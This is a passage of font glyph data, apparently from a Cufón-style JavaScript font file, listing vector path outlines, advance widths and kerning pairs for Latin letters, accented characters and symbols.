0r0,-188r21,0xm49,-15v0,-10,8,-17,18,-17v10,0,17,7,17,17v0,10,-7,17,-17,17v-10,0,-18,-7,-18,-17","w":133},{"d":"35,0r0,-255r24,0r0,255r-24,0xm-5,-271r39,-52r25,0r39,52r-23,0r-29,-39r-29,39r-22,0","w":93},{"d":"89,-255r0,55r52,-17r5,17r-52,17r33,44r-13,10r-34,-45r-32,45r-15,-10r33,-44r-52,-18r5,-16r53,17r0,-55r17,0","w":159},{"d":"8,-104r0,-16r62,-60v26,-17,39,-60,-7,-62v-18,0,-27,10,-31,21r-18,-1v11,-53,99,-47,99,2v0,46,-54,69,-79,99r79,0r0,17r-105,0","w":121},{"d":"35,0r0,-255r23,0r0,56v67,-1,132,-5,132,68v0,67,-64,69,-131,66r0,65r-24,0xm59,-177r0,91v51,0,108,8,108,-45v0,-52,-56,-47,-108,-46","w":206},{"d":"10,-30r19,-12v14,35,87,38,87,-4v0,-46,-99,-14,-99,-77v0,-60,96,-62,115,-16r-19,11v-10,-30,-74,-33,-74,3v0,45,98,11,98,78v-1,66,-104,64,-127,17xm127,-255r-38,52r-26,0r-39,-52r22,0r30,41r31,-41r20,0","w":153},{"d":"91,0r0,-110r-93,-145r28,0r77,121r79,-121r27,0r-94,145r0,110r-24,0xm82,-271r38,-52r29,0r-49,52r-18,0","w":206,"k":{"v":20,"A":27,"\u00c6":27,"\u00c1":27,"\u00c2":27,"\u00c4":27,"\u00c0":27,"\u00c5":27,"\u00c3":27,",":44,".":36,"e":33,"\u00e9":33,"\u00ea":33,"\u00eb":33,"\u00e8":33,"o":33,"\u00f8":33,"\u0153":33,"\u00f3":33,"\u00f4":33,"\u00f6":33,"\u00f2":33,"\u00f5":33,"q":33,"-":40,"a":33,"\u00e6":33,"\u00e1":33,"\u00e2":33,"\u00e4":33,"\u00e0":33,"\u00e5":33,"\u00e3":33,"i":3,"\u0131":3,"\u00ed":3,"\u00ee":3,"\u00ef":3,"\u00ec":3,"u":27,"\u00fa":27,"\u00fb":27,"\u00fc":27,"\u00f9":27,":":33,";":33,"p":27}},{"d":"113,-140r62,66r37,-66r25,0r-47,81r58,61r-32,0r-38,-41v-21,28,-43,45,-79,45v-43,0,-78,-29,-78,-74v0,-40,29,-57,59,-75v-14,-17,-31,-37,-31,-60v0,-37,30,-58,64,-58v30,0,57,22,57,54v0,37,-29,52,-57,67xm111,-240v-21,0,-39,15,-39,36v0,18,17,37,28,50v20,-10,47,-25,47,-52v0,-20,-15,-34,-36,-34xm164,-54r-71,-74v-23,14,-48,30,-48,60v0,32,26,53,58,53v27,0,47,-18,61,-39","w":253},{"d":"19,-83v0,-51,37,-88,88,-88v51,0,87,37,87,88v0,51,-36,87,-87,87v-51,0,-88,-36,-88,-87xm41,-83v0,37,25,68,66,68v41,0,66,-31,66,-68v0,-37,-25,-68,-66,-68v-41,0,-66,31,-66,68xm55,-203r39,-52r26,0r38,52r-23,0r-29,-39r-29,39r-22,0","w":213},{"d":"54,-166r0,195v4,40,-23,66,-65,54r3,-19v25,11,40,-8,40,-33r0,-197r22,0xm27,-232v0,-9,7,-16,16,-16v9,0,16,7,16,16v0,9,-7,16,-16,16v-9,0,-16,-7,-16,-16","w":86},{"d":"170,-166r1,166r-21,0v-1,-12,1,-27,-3,-29v-9,18,-30,33,-57,33v-90,-2,-56,-93,-63,-170r22,0v7,59,-25,151,41,151v32,0,58,-22,58,-68r0,-83r22,0xm84,-255r37,52r-18,0r-48,-52r29,0","w":200},{"d":"31,-270r18,0r0,360r-18,0r0,-360","w":79},{"d":"141,-97v8,-59,-68,-68,-102,-35r-12,-15v35,-32,106,-36,128,11v39,-64,147,-39,136,58r-128,0v-10,59,79,86,105,36r17,12v-31,47,-111,48,-134,-7v-14,30,-41,41,-73,41v-28,0,-59,-14,-59,-49v0,-21,13,-52,81,-52r41,0xm141,-78r-42,0v-51,0,-58,22,-58,32v0,21,20,31,38,31v45,0,62,-29,62,-63xm163,-97r106,0v0,-30,-16,-54,-53,-54v-33,0,-53,24,-53,54","w":306},{"d":"18,50r24,-82r25,0r-28,82r-21,0xm30,-151v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17","w":93},{"d":"92,-17r0,-133v-69,9,-67,122,0,133xm109,-150r0,135v17,-1,32,-10,42,-23r17,14v-15,18,-36,27,-59,28r0,25r-17,0r0,-26v-44,-6,-73,-42,-73,-87v0,-45,30,-80,73,-86r0,-25r17,0r0,25v23,0,44,11,59,28r-17,13v-11,-12,-24,-20,-42,-21"},{"d":"10,0r0,-13r99,-134r-94,0r0,-19r124,0r0,13r-99,134r104,0r0,19r-134,0xm127,-255r-38,52r-26,0r-39,-52r22,0r30,41r31,-41r20,0","w":153},{"d":"-2,0r166,-255r145,0r0,22r-105,0r0,90r99,0r0,22r-99,0r0,99r108,0r0,22r-132,0r0,-68r-112,0r-45,68r-25,0xm180,-89r0,-144r-4,0r-94,144r98,0","w":333},{"d":"94,0r0,-225r-46,38r-14,-16r63,-52r19,0r0,255r-22,0"},{"d":"35,0r0,-255r24,0r0,255r-24,0xm26,-271r37,-52r29,0r-48,52r-18,0","w":93},{"d":"91,0r0,-110r-93,-145r28,0r77,121r79,-121r27,0r-94,145r0,110r-24,0","w":206,"k":{"\u00fc":27,"\u00f6":33,"v":20,"A":27,"\u00c6":27,"\u00c1":27,"\u00c2":27,"\u00c4":27,"\u00c0":27,"\u00c5":27,"\u00c3":27,",":44,".":36,"e":33,"\u00e9":33,"\u00ea":33,"\u00eb":33,"\u00e8":33,"o":33,"\u00f8":33,"\u0153":33,"\u00f3":33,"\u00f4":33,"\u00f2":33,"\u00f5":33,"q":33,"-":40,"a":33,"\u00e6":33,"\u00e1":33,"\u00e2":33,"\u00e4":33,"\u00e0":33,"\u00e5":33,"\u00e3":33,"i":3,"\u0131":3,"\u00ed":3,"\u00ee":3,"\u00ef":3,"\u00ec":3,"u":27,"\u00fa":27,"\u00fb":27,"\u00f9":27,":":33,";":33,"p":27}},{"d":"12,-206v0,-31,22,-53,57,-53v33,0,58,21,58,53v0,31,-25,53,-58,53v-35,0,-57,-22,-57,-53xm30,-206v0,20,16,38,39,38v23,0,40,-17,40,-38v0,-22,-16,-38,-40,-38v-23,0,-39,18,-39,38","w":138},{"d":"18,-127v0,-78,54,-134,132,-134v78,0,132,56,132,134v0,78,-54,133,-132,133v-78,0,-132,-55,-132,-133xm42,-127v0,63,41,112,108,112v67,0,108,-49,108,-112v0,-63,-41,-113,-108,-113v-67,0,-108,50,-108,113","w":300},{"d":"35,0r0,-255r24,0r0,233r118,0r0,22r-142,0","w":180,"k":{"T":33,"V":33,"W":20,"y":13,"\u00fd":13,"\u00ff":13,"Y":40,"\u00dd":40,"\u0178":40}},{"d":"18,-127v0,-78,54,-134,132,-134v78,0,132,56,132,134v0,78,-54,133,-132,133v-78,0,-132,-55,-132,-133xm42,-127v0,63,41,112,108,112v67,0,108,-49,108,-112v0,-63,-41,-113,-108,-113v-67,0,-108,50,-108,113xm99,-302v0,-10,7,-18,17,-18v10,0,17,8,17,18v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17xm167,-302v0,-10,7,-18,17,-18v10,0,18,8,18,18v0,10,-8,17,-18,17v-10,0,-17,-7,-17,-17","w":300},{"d":"92,-171v87,0,61,101,69,171r-20,0v-2,-7,0,-20,-3,-27v-20,45,-117,44,-117,-18v0,-60,68,-56,118,-56v8,-60,-66,-61,-98,-31r-13,-15v16,-15,42,-24,64,-24xm139,-84v-44,-2,-96,3,-96,38v0,21,20,31,38,31v51,-2,60,-31,58,-69xm73,-203r37,-52r29,0r-48,52r-18,0","w":186},{"d":"54,-217r37,-21v-11,-10,-25,-22,-34,-28r19,-10v11,8,25,19,34,28r38,-20r13,11r-39,20v21,19,72,70,72,145v0,60,-36,96,-87,96v-51,0,-88,-36,-88,-87v0,-75,90,-112,142,-69v-18,-32,-40,-58,-58,-74r-38,20xm41,-83v0,37,25,68,66,68v41,0,66,-31,66,-68v0,-37,-25,-68,-66,-68v-41,0,-66,31,-66,68","w":213},{"d":"32,0r0,-166r22,0r0,166r-22,0xm-8,-203r39,-52r25,0r39,52r-24,0r-29,-39r-29,39r-21,0","w":86},{"d":"18,-127v0,-78,54,-134,132,-134v78,0,132,56,132,134v0,78,-54,133,-132,133v-78,0,-132,-55,-132,-133xm42,-127v0,63,41,112,108,112v67,0,108,-49,108,-112v0,-63,-41,-113,-108,-113v-67,0,-108,50,-108,113xm99,-271r39,-52r25,0r39,52r-24,0r-29,-39r-29,39r-21,0","w":300},{"d":"49,-193r71,72r72,-72r12,13r-72,71r71,71r-12,12r-71,-71r-71,71r-13,-12r72,-71r-71,-71","w":239},{"d":"162,-255r0,20r-105,0r-1,81v59,-27,117,18,116,77v-2,95,-126,104,-157,38r22,-11v23,50,108,48,112,-26v2,-60,-72,-85,-115,-49r2,-130r126,0"},{"d":"91,0r0,-110r-93,-145r28,0r77,121r79,-121r27,0r-94,145r0,110r-24,0xm52,-302v0,-10,7,-18,17,-18v10,0,17,8,17,18v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17xm120,-302v0,-10,8,-18,18,-18v10,0,17,8,17,18v0,10,-7,17,-17,17v-10,0,-18,-7,-18,-17","w":206,"k":{"v":20,"A":27,"\u00c6":27,"\u00c1":27,"\u00c2":27,"\u00c4":27,"\u00c0":27,"\u00c5":27,"\u00c3":27,",":44,".":36,"e":33,"\u00e9":33,"\u00ea":33,"\u00eb":33,"\u00e8":33,"o":33,"\u00f8":33,"\u0153":33,"\u00f3":33,"\u00f4":33,"\u00f6":33,"\u00f2":33,"\u00f5":33,"q":33,"-":40,"a":33,"\u00e6":33,"\u00e1":33,"\u00e2":33,"\u00e4":33,"\u00e0":33,"\u00e5":33,"\u00e3":33,"i":3,"\u0131":3,"\u00ed":3,"\u00ee":3,"\u00ef":3,"\u00ec":3,"u":27,"\u00fa":27,"\u00fb":27,"\u00fc":27,"\u00f9":27,":":33,";":33,"p":27}},{"d":"152,-38r16,14v-18,20,-38,29,-66,28v-4,7,-13,14,-13,20v17,-9,42,2,41,23v-2,36,-48,36,-75,23r5,-11v16,8,47,11,51,-10v-1,-16,-23,-18,-36,-12r-6,-5r20,-29v-41,-7,-70,-41,-70,-86v0,-80,103,-118,150,-59r-17,13v-36,-46,-117,-12,-111,46v-6,58,77,93,111,45","w":173},{"d":"59,-233r0,90r50,0v50,0,60,-27,60,-45v0,-18,-10,-45,-60,-45r-50,0xm35,0r0,-255r67,0v20,0,91,0,91,67v0,49,-38,62,-66,66r75,122r-27,0r-72,-121r-44,0r0,121r-24,0","w":213,"k":{"T":-2,"V":-2,"W":-2,"y":-9,"\u00fd":-9,"\u00ff":-9,"Y":5,"\u00dd":5,"\u0178":5}},{"d":"216,-255v-7,115,35,261,-93,261v-128,0,-86,-146,-93,-261r24,0r0,151v0,36,10,89,69,89v59,0,69,-53,69,-89r0,-151r24,0xm107,-323r37,52r-18,0r-48,-52r29,0","w":246},{"d":"230,0r0,-37r-68,0r0,-16r67,-100r21,0r0,99r23,0r0,17r-23,0r0,37r-20,0xm230,-54v-1,-24,2,-51,-1,-73r-48,73r49,0xm44,-176r0,-17v39,10,61,-47,14,-49v-14,0,-25,7,-31,18r-14,-9v16,-37,92,-34,92,13v0,18,-14,29,-29,36v21,3,34,20,34,39v2,51,-89,59,-103,11r17,-6v6,30,66,25,66,-7v0,-25,-22,-30,-46,-29xm60,2r164,-269r16,10r-164,269","w":280},{"d":"92,-171v87,0,61,101,69,171r-20,0v-2,-7,0,-20,-3,-27v-20,45,-117,44,-117,-18v0,-60,68,-56,118,-56v8,-60,-66,-61,-98,-31r-13,-15v16,-15,42,-24,64,-24xm139,-84v-44,-2,-96,3,-96,38v0,21,20,31,38,31v51,-2,60,-31,58,-69xm42,-203r39,-52r25,0r39,52r-23,0r-29,-39r-30,39r-21,0","w":186},{"d":"19,-83v0,-51,37,-88,88,-88v51,0,87,37,87,88v0,51,-36,87,-87,87v-51,0,-88,-36,-88,-87xm41,-83v0,37,25,68,66,68v41,0,66,-31,66,-68v0,-37,-25,-68,-66,-68v-41,0,-66,31,-66,68xm55,-235v0,-10,8,-17,18,-17v10,0,17,7,17,17v0,10,-7,18,-17,18v-10,0,-18,-8,-18,-18xm124,-235v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,18,-17,18v-10,0,-17,-8,-17,-18","w":213},{"d":"29,0r0,-272r21,0r0,181r82,-75r32,0r-86,76r96,90r-33,0r-91,-88r0,88r-21,0","w":173},{"d":"92,-171v87,0,61,101,69,171r-20,0v-2,-7,0,-20,-3,-27v-20,45,-117,44,-117,-18v0,-60,68,-56,118,-56v8,-60,-66,-61,-98,-31r-13,-15v16,-15,42,-24,64,-24xm139,-84v-44,-2,-96,3,-96,38v0,21,20,31,38,31v51,-2,60,-31,58,-69xm60,-234v0,-18,15,-34,34,-34v19,0,33,17,33,35v0,18,-15,34,-33,34v-19,0,-34,-17,-34,-35xm114,-234v0,-12,-8,-21,-20,-21v-12,0,-21,10,-21,22v0,12,9,21,21,21v12,0,20,-10,20,-22","w":186},{"d":"92,-171v87,0,61,101,69,171r-20,0v-2,-7,0,-20,-3,-27v-20,45,-117,44,-117,-18v0,-60,68,-56,118,-56v8,-60,-66,-61,-98,-31r-13,-15v16,-15,42,-24,64,-24xm139,-84v-44,-2,-96,3,-96,38v0,21,20,31,38,31v51,-2,60,-31,58,-69xm77,-255r37,52r-18,0r-48,-52r29,0","w":186},{"d":"18,-127v0,-78,54,-134,132,-134v78,0,132,56,132,134v0,78,-54,133,-132,133v-78,0,-132,-55,-132,-133xm42,-127v0,63,41,112,108,112v67,0,108,-49,108,-112v0,-63,-41,-113,-108,-113v-67,0,-108,50,-108,113xm134,-323r37,52r-18,0r-48,-52r29,0","w":300},{"d":"36,-173r0,-82r22,0r0,82r-22,0","w":93},{"d":"30,-16r0,-18r161,-75r-161,-75r0,-18r180,84r0,18","w":239},{"d":"32,0r0,-255r36,0r93,214r93,-214r34,0r0,255r-24,0r-1,-225r-97,225r-10,0r-100,-225r0,225r-24,0","w":320},{"d":"35,0r0,-255v75,1,155,-14,155,67v0,67,-63,70,-131,67r0,121r-24,0xm59,-233r0,90v51,0,108,8,108,-45v0,-52,-57,-45,-108,-45","w":206,"k":{"A":27,"\u00c6":27,"\u00c1":27,"\u00c2":27,"\u00c4":27,"\u00c0":27,"\u00c5":27,"\u00c3":27,",":55,".":55}},{"d":"71,-264r18,12v-63,86,-61,211,0,297r-17,11v-67,-93,-67,-229,-1,-320","w":93},{"d":"183,-97r106,0v0,-30,-16,-54,-53,-54v-33,0,-53,24,-53,54xm311,-78r-128,0v-10,59,79,86,105,36r17,12v-32,48,-111,46,-135,-7v-34,72,-154,43,-154,-46v0,-51,35,-88,83,-88v48,0,65,30,71,42v8,-19,28,-42,65,-42v44,-1,80,30,76,93xm37,-83v0,36,24,68,62,68v38,0,62,-31,62,-68v0,-37,-24,-68,-62,-68v-38,0,-62,32,-62,68","w":326},{"d":"13,56r0,-17r32,0r0,-285r-32,0r0,-18r54,0r0,320r-54,0","w":93},{"d":"8,0r0,-19r149,-214r-147,0r0,-22r178,0r0,20r-150,213r154,0r0,22r-184,0xm150,-323r-38,52r-25,0r-39,-52r22,0r30,41r31,-41r19,0","w":200},{"d":"210,-202r0,18r-161,75r161,75r0,18r-180,-84r0,-18","w":239},{"d":"35,0r0,-255r153,0r0,22r-129,0r0,90r120,0r0,22r-120,0r0,121r-24,0","w":200,"k":{"A":20,"\u00c6":20,"\u00c1":20,"\u00c2":20,"\u00c4":20,"\u00c0":20,"\u00c5":20,"\u00c3":20,",":46,".":46}},{"d":"161,-166r-85,217v-9,28,-34,42,-67,32r2,-20v43,18,49,-33,62,-62r-68,-167r25,0r55,140r53,-140r23,0","w":166,"k":{",":33,".":33}},{"d":"35,0r0,-255r156,0r0,22r-132,0r0,90r124,0r0,22r-124,0r0,99r138,0r0,22r-162,0","w":213},{"d":"19,-32r23,-15v22,47,116,42,115,-18v0,-71,-131,-30,-131,-127v-1,-75,114,-92,151,-37r-20,14v-23,-40,-107,-32,-107,23v0,77,131,31,131,127v0,84,-123,92,-162,33xm150,-323r-38,52r-25,0r-39,-52r22,0r30,41r31,-41r19,0","w":200},{"d":"28,-100r0,-18r83,0r0,-83r18,0r0,83r83,0r0,18r-83,0r0,83r-18,0r0,-83r-83,0","w":239},{"d":"92,-171v87,0,61,101,69,171r-20,0v-2,-7,0,-20,-3,-27v-20,45,-117,44,-117,-18v0,-60,68,-56,118,-56v8,-60,-66,-61,-98,-31r-13,-15v16,-15,42,-24,64,-24xm139,-84v-44,-2,-96,3,-96,38v0,21,20,31,38,31v51,-2,60,-31,58,-69xm120,-209v-23,0,-61,-35,-70,0r-13,0v3,-17,13,-37,33,-37v24,1,58,36,67,0r13,0v-2,18,-11,37,-30,37","w":186},{"d":"15,-46r23,-7v9,24,25,38,54,38v38,0,57,-25,57,-56v0,-41,-39,-54,-77,-52r0,-22v35,2,66,-9,68,-48v3,-54,-78,-61,-96,-17r-20,-11v28,-57,139,-51,139,27v0,29,-17,50,-45,60v32,6,54,33,54,65v0,40,-25,73,-78,73v-38,0,-66,-15,-79,-50"},{"d":"293,-22r0,22r-141,0v-71,0,-134,-53,-134,-131v0,-74,51,-130,130,-130v136,0,173,190,65,239r80,0xm42,-131v0,60,46,109,110,109v66,0,101,-52,101,-109v0,-62,-39,-109,-105,-109v-66,0,-106,47,-106,109","w":300},{"d":"174,82r0,-111v-43,64,-155,28,-155,-54v0,-83,112,-120,155,-54r0,-29r22,0r0,248r-22,0xm176,-83v0,-37,-30,-68,-69,-68v-41,0,-66,31,-66,68v0,37,25,68,66,68v39,0,69,-31,69,-68","w":219},{"d":"35,0r0,-255r24,0r0,255r-24,0xm-5,-302v0,-10,8,-18,18,-18v10,0,17,8,17,18v0,10,-7,17,-17,17v-10,0,-18,-7,-18,-17xm64,-302v0,-10,7,-18,17,-18v10,0,17,8,17,18v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17","w":93},{"d":"216,-255v-7,115,35,261,-93,261v-128,0,-86,-146,-93,-261r24,0r0,151v0,36,10,89,69,89v59,0,69,-53,69,-89r0,-151r24,0xm102,-271r38,-52r28,0r-48,52r-18,0","w":246},{"d":"24,82r0,-248r22,0r0,29v42,-66,155,-29,155,54v0,82,-112,118,-155,54r0,111r-22,0xm44,-83v0,37,30,68,69,68v41,0,66,-31,66,-68v0,-37,-25,-68,-66,-68v-39,0,-69,31,-69,68","w":219},{"d":"170,-166r1,166r-21,0v-1,-12,1,-27,-3,-29v-9,18,-30,33,-57,33v-90,-2,-56,-93,-63,-170r22,0v7,59,-25,151,41,151v32,0,58,-22,58,-68r0,-83r22,0xm49,-235v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,18,-17,18v-10,0,-17,-8,-17,-18xm117,-235v0,-10,7,-17,17,-17v10,0,18,7,18,17v0,10,-8,18,-18,18v-10,0,-17,-8,-17,-18","w":200},{"d":"19,-32r23,-15v22,47,116,42,115,-18v0,-71,-131,-30,-131,-127v-1,-75,114,-92,151,-37r-20,14v-23,-40,-107,-32,-107,23v0,77,131,31,131,127v0,84,-123,92,-162,33","w":200},{"d":"29,0r0,-272r21,0r1,135v9,-18,30,-34,57,-34v90,3,57,94,63,171r-21,0v-7,-60,24,-151,-42,-151v-32,0,-58,22,-58,68r0,83r-21,0","w":200},{"d":"225,-55r20,15v-69,94,-227,34,-227,-87v0,-117,148,-181,220,-94r-19,16v-56,-77,-188,-16,-177,78v-9,98,126,154,183,72","w":253},{"d":"91,-101v0,20,12,34,31,34v34,0,61,-50,61,-81v0,-23,-10,-37,-30,-37v-36,0,-62,50,-62,84xm224,-198r-39,122v0,4,1,9,9,9v25,0,59,-46,59,-86v0,-54,-49,-91,-103,-91v-66,0,-115,55,-115,116v0,64,51,117,115,117v36,0,73,-19,92,-47r21,0v-22,40,-68,64,-113,64v-78,0,-134,-59,-134,-134v0,-75,59,-133,133,-133v70,0,123,46,123,108v0,60,-43,106,-84,106v-13,0,-20,-10,-23,-24v-24,38,-95,27,-95,-29v0,-50,32,-104,85,-104v17,0,31,9,39,29r8,-23r22,0","w":288},{"d":"30,-114v0,-10,7,-18,17,-18v10,0,17,8,17,18v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17","w":93},{"d":"170,-166r1,166r-21,0v-1,-12,1,-27,-3,-29v-9,18,-30,33,-57,33v-90,-2,-56,-93,-63,-170r22,0v7,59,-25,151,41,151v32,0,58,-22,58,-68r0,-83r22,0xm79,-203r38,-52r28,0r-48,52r-18,0","w":200},{"d":"73,0r-68,-166r25,0r55,143r54,-143r22,0r-65,166r-23,0","w":166,"k":{",":27,".":27}},{"d":"14,-197v0,-34,28,-62,62,-62v34,0,62,28,62,62v0,34,-28,62,-62,62v-34,0,-62,-28,-62,-62xm33,-197v0,24,20,42,43,42v23,0,42,-18,42,-42v0,-24,-19,-43,-42,-43v-23,0,-43,19,-43,43xm156,-58v0,-34,28,-62,62,-62v34,0,62,28,62,62v0,34,-28,62,-62,62v-34,0,-62,-28,-62,-62xm175,-58v0,24,20,43,43,43v23,0,42,-19,42,-43v0,-24,-19,-42,-42,-42v-23,0,-43,18,-43,42xm57,2r164,-269r17,10r-165,269","w":293},{"d":"21,-268r109,274r-19,7r-109,-274","w":133},{"d":"101,-113r0,98v46,-1,73,-74,16,-92xm84,-144r0,-96v-23,4,-43,22,-43,49v0,27,19,40,43,47xm84,28r0,-24v-26,0,-55,-12,-72,-37r20,-15v12,19,31,32,52,33r0,-105r-26,-9v-78,-33,-33,-126,26,-130r0,-24r17,0r0,24v24,0,48,6,67,32r-20,14v-11,-17,-30,-27,-47,-27r0,102v37,10,71,22,71,73v0,41,-34,67,-71,69r0,24r-17,0"},{"d":"35,0r0,-255v75,3,151,-19,155,67v1,27,-17,46,-45,54v33,3,57,27,57,63v0,91,-87,68,-167,71xm59,-233r0,88r49,0v49,0,59,-27,59,-43v-1,-56,-57,-44,-108,-45xm59,-123r0,101r54,0v56,0,65,-31,65,-49v-2,-60,-61,-52,-119,-52","w":226},{"d":"15,0r0,-25r96,-101v17,-18,36,-39,36,-66v0,-30,-22,-48,-51,-48v-26,0,-46,17,-51,42r-25,-3v10,-80,151,-76,151,7v0,40,-27,66,-53,93r-79,82r133,0r0,19r-157,0"},{"d":"32,0r0,-117r-30,31r0,-24r30,-31r0,-131r22,0r0,110r30,-31r0,24r-30,30r0,139r-22,0","w":86},{"d":"160,-45r16,14v-43,66,-157,33,-157,-53v0,-50,35,-87,84,-87v56,0,82,41,78,93r-140,0v0,18,13,63,63,63v22,0,45,-12,56,-30xm41,-97r118,0v0,-30,-25,-54,-57,-54v-47,0,-61,45,-61,54xm49,-203r38,-52r26,0r39,52r-24,0r-29,-39r-29,39r-21,0","w":200},{"d":"245,-138r0,121v-97,56,-227,7,-227,-110v0,-118,146,-176,224,-99r-17,18v-15,-19,-47,-32,-75,-32v-67,0,-108,50,-108,113v0,63,41,112,108,112v27,0,52,-3,71,-15r0,-86r-61,0r0,-22r85,0","w":280},{"d":"10,0r0,-13r99,-134r-94,0r0,-19r124,0r0,13r-99,134r104,0r0,19r-134,0","w":153},{"d":"160,-45r16,14v-43,66,-157,33,-157,-53v0,-50,35,-87,84,-87v56,0,82,41,78,93r-140,0v0,18,13,63,63,63v22,0,45,-12,56,-30xm41,-97r118,0v0,-30,-25,-54,-57,-54v-47,0,-61,45,-61,54xm84,-255r37,52r-18,0r-48,-52r29,0","w":200},{"d":"0,45r0,-18r180,0r0,18r-180,0","w":180},{"d":"76,0r-74,-255r24,0r64,226r65,-226r30,0r65,226r64,-226r24,0r-74,255r-29,0r-65,-227r-65,227r-29,0","w":339,"k":{"\u00fc":6,"\u00f6":6,"\u00ea":6,"\u00e4":13,"A":6,"\u00c6":6,"\u00c1":6,"\u00c2":6,"\u00c4":6,"\u00c0":6,"\u00c5":6,"\u00c3":6,",":27,".":27,"e":6,"\u00e9":6,"\u00eb":6,"\u00e8":6,"o":6,"\u00f8":6,"\u0153":6,"\u00f3":6,"\u00f4":6,"\u00f2":6,"\u00f5":6,"a":13,"\u00e6":13,"\u00e1":13,"\u00e2":13,"\u00e0":13,"\u00e5":13,"\u00e3":13,"i":-9,"\u0131":-9,"\u00ed":-9,"\u00ee":-9,"\u00ef":-9,"\u00ec":-9,"r":6,"u":6,"\u00fa":6,"\u00fb":6,"\u00f9":6,":":6,";":6}},{"d":"56,80r0,-188r21,0r0,188r-21,0xm84,-160v0,10,-7,17,-17,17v-10,0,-18,-7,-18,-17v0,-10,8,-17,18,-17v10,0,17,7,17,17","w":133},{"d":"72,-12r-49,-73r49,-73r15,10r-42,63r43,63xm132,-12r-50,-73r50,-73r15,10r-42,63r43,63","w":173},{"d":"35,0r0,-255r24,0r0,112r142,0r0,-112r24,0r0,255r-24,0r0,-121r-142,0r0,121r-24,0","w":259},{"d":"8,0r0,-19r149,-214r-147,0r0,-22r178,0r0,20r-150,213r154,0r0,22r-184,0","w":200},{"d":"57,0r69,-112v-52,30,-116,-10,-116,-68v0,-46,36,-79,84,-79v48,0,83,33,83,79v0,27,-13,48,-23,65r-69,115r-28,0xm94,-120v33,0,59,-27,59,-60v0,-35,-24,-60,-59,-60v-35,0,-60,25,-60,60v0,33,27,60,60,60"},{"d":"0,0r96,-134r-87,-121r28,0r74,104r72,-104r28,0r-86,121r95,134r-30,0r-81,-115r-80,115r-29,0","w":219},{"d":"160,-45r16,14v-43,66,-157,33,-157,-53v0,-50,35,-87,84,-87v56,0,82,41,78,93r-140,0v0,18,13,63,63,63v22,0,45,-12,56,-30xm41,-97r118,0v0,-30,-25,-54,-57,-54v-47,0,-61,45,-61,54xm49,-235v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,18,-17,18v-10,0,-17,-8,-17,-18xm117,-235v0,-10,7,-17,17,-17v10,0,18,7,18,17v0,10,-8,18,-18,18v-10,0,-17,-8,-17,-18","w":200},{"d":"18,50r24,-82r25,0r-28,82r-21,0","w":93},{"d":"32,0r0,-272r22,0r0,272r-22,0","w":86},{"d":"82,-131v23,0,56,24,77,24v14,0,23,-11,31,-24r13,11v-8,17,-21,33,-45,33v-24,0,-56,-24,-77,-25v-14,0,-24,12,-32,25r-12,-12v8,-15,21,-32,45,-32","w":239},{"d":"9,-127v0,-55,13,-132,85,-132v72,0,84,77,84,132v0,55,-12,131,-84,131v-72,0,-85,-76,-85,-131xm33,-127v0,40,7,112,61,112v54,0,60,-72,60,-112v0,-40,-6,-113,-60,-113v-54,0,-61,73,-61,113"},{"d":"96,45r0,-161v-42,0,-74,-31,-74,-68v0,-45,30,-71,80,-71r82,0r0,300r-22,0r0,-283r-44,0r0,283r-22,0","w":216},{"d":"99,-264r0,18v-40,-6,-28,50,-28,86v0,39,-22,52,-26,57v5,3,26,19,26,56v0,34,-14,90,28,86r0,17v-55,11,-51,-45,-50,-96v0,-28,-5,-55,-25,-55r0,-17v59,-7,-21,-167,75,-152","w":119},{"d":"21,56r0,-17v40,6,28,-50,28,-86v0,-39,22,-52,26,-57v-5,-3,-26,-19,-26,-56v0,-34,14,-90,-28,-86r0,-18v55,-11,51,45,50,97v0,28,5,55,25,55r0,17v-60,6,21,166,-75,151","w":119},{"d":"92,-171v87,0,61,101,69,171r-20,0v-2,-7,0,-20,-3,-27v-20,45,-117,44,-117,-18v0,-60,68,-56,118,-56v8,-60,-66,-61,-98,-31r-13,-15v16,-15,42,-24,64,-24xm139,-84v-44,-2,-96,3,-96,38v0,21,20,31,38,31v51,-2,60,-31,58,-69","w":186},{"d":"32,0r0,-166r22,0r0,166r-22,0xm-8,-235v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,18,-17,18v-10,0,-17,-8,-17,-18xm60,-235v0,-10,7,-17,17,-17v10,0,18,7,18,17v0,10,-8,18,-18,18v-10,0,-17,-8,-17,-18","w":86},{"d":"29,0r-2,-166r22,0v0,12,0,26,1,29v13,-22,35,-40,66,-32r-3,21v-76,-10,-63,76,-63,148r-21,0","w":119,"k":{",":33,".":33,"c":6,"\u00e7":6,"d":6,"e":6,"\u00e9":6,"\u00ea":6,"\u00eb":6,"\u00e8":6,"g":6,"o":6,"\u00f8":6,"\u0153":6,"\u00f3":6,"\u00f4":6,"\u00f6":6,"\u00f2":6,"\u00f5":6,"q":6,"-":20}},{"d":"110,-166r0,19r-47,0r0,108v-1,26,28,28,47,18r2,20v-34,14,-71,-2,-71,-38r0,-108r-36,0r0,-19r36,0r0,-48r22,0r0,48r47,0","w":119},{"d":"2,0r111,-255r25,0r107,255r-27,0r-28,-68r-135,0r-28,68r-25,0xm182,-89r-58,-140r-59,140r117,0xm149,-277v-24,-1,-60,-35,-69,0r-13,0v3,-17,13,-37,33,-37v25,0,57,37,67,0r13,0v-2,18,-11,37,-31,37","w":246},{"d":"-8,-235v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,18,-17,18v-10,0,-17,-8,-17,-18xm60,-235v0,-10,7,-17,17,-17v10,0,18,7,18,17v0,10,-8,18,-18,18v-10,0,-17,-8,-17,-18","w":86},{"d":"30,-15v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17","w":93},{"d":"35,0r0,-255r24,0v2,36,-4,80,2,112r123,-112r33,0r-129,117r136,138r-34,0r-129,-132r-2,0r0,132r-24,0","w":219},{"d":"2,0r111,-255r25,0r107,255r-27,0r-28,-68r-135,0r-28,68r-25,0xm182,-89r-58,-140r-59,140r117,0","w":246},{"d":"23,56r-19,-11v63,-86,62,-211,0,-298r17,-1